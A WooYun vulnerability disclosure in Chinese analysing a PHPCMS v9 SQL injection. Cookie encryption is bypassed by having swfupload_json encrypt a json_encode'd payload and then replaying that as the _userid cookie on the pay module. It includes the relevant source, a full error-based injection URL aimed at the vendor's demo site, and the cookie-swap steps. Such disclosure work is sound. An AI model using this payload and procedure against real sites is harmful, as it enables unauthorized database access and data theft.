WooYun.org

1. 首先是 /phpcms/modules/pay/spend_list.php
18 $userid = param::get_cookie('_userid');
19 $sql = " `userid` = '$userid'";
可以看到，从cookies中取出_userid，然后代入sql语句中。
如果这里cookies中的_userid我们可以构造，那么我们可以成功进行sql注入。
2. 由于phpcms的cookies进过加密函数进行了转换， 而这个加密函数中似乎又用到了一个我们无法直接获取到的authkey -->pc_base::load_config('system', 'auth_key')
3. 但是我们可以换个思路，程序在设置cookies，会调用set_cookie这个函数来进行get_cookies的逆向过程。
86 public static function set_cookie($var, $value = '', $time = 0) {
87 $time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
88 $s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
89 $var = pc_base::load_config('system','cookie_pre').$var;
90 $_COOKIE[$var] = $value;
91 if (is_array($value)) {
92 foreach($value as $k=>$v) {
93 setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
94 }
95 } else {
96 setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
97 }
98 }
4. 如果我们找到一个调用set_cookie的页面，并且传入的参数我们可以控制，那么是不是就有一点点希望了呢？ 但实际上这里有个大问题。
假如我们控制参数 userid, userid='，
由于GPC/程序自己过滤，则 userid=\'，
加密后是 userid=XXXXXXXXXXXX
解密后是 userid=\'

我们会发现，这种想法实际上，最后。。。其实。。。根本还是无法造成注入的嘛
--------------------------------------------------------
也就是说，上面实际上说的是废话，构成不了威胁，关键是下面的部分啦。～
--------------------------------------------------------
5. 但是我们依然还是抱着上面的想法，找了找set_cookie的位置。
我们找到了 /phpcms/modules/attachment/attachments.php 中的 以下代码：
228 public function swfupload_json() {
229 $arr['aid'] = intval($_GET['aid']);
230 $arr['src'] = trim($_GET['src']);
231 $arr['filename'] = urlencode($_GET['filename']);
232 $json_str = json_encode($arr);
233 $att_arr_exist = param::get_cookie('att_json');
234 $att_arr_exist_tmp = explode('||', $att_arr_exist);
235 if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
236 return true;
237 } else {
238 $json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
239 param::set_cookie('att_json',$json_str);
240 return true;
241 }
242 }

可以看到这里设置了att_json这个cookies字段。

param::set_cookie('att_json',$json_str);

而$json_str来自于 json_encode($arr);

这个点有什么特别之处呢？特别之处在于 json_encode会将 \ 转变为 \\

因而，我们的 $arr的 src=' 时，

由于GPC会转变为 src=\'

由于json_encode，会转变为 {"src":"\\'"}

这样一来，单引号就不会转义啦，从而形成注入。

6. 接着就是利用过程，首先我们要利用set_cookie函数得到加密后的字符串。

在官方demo站，注册用户并登录，再访问以下URL。
http://v9.demo.phpcms.cn/index.php?m=attachment&c=attachments&a=swfupload_json&src='%20and%20(select%201%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a)%20;%20--%201
在chrome浏览器的cookies中，找到XXXXX_att_json这一条cookies数据，如下图：

复制出这条COOKIES数据。
再访问，
http://v9.demo.phpcms.cn/index.php?m=pay&c=spend_list
抓包修改COOKIES中的， XXXXX_userid这条数据，改为上面的XXXXX_att_json的数据，如下图：

重新提交请求，可以看到报错后的注入信息。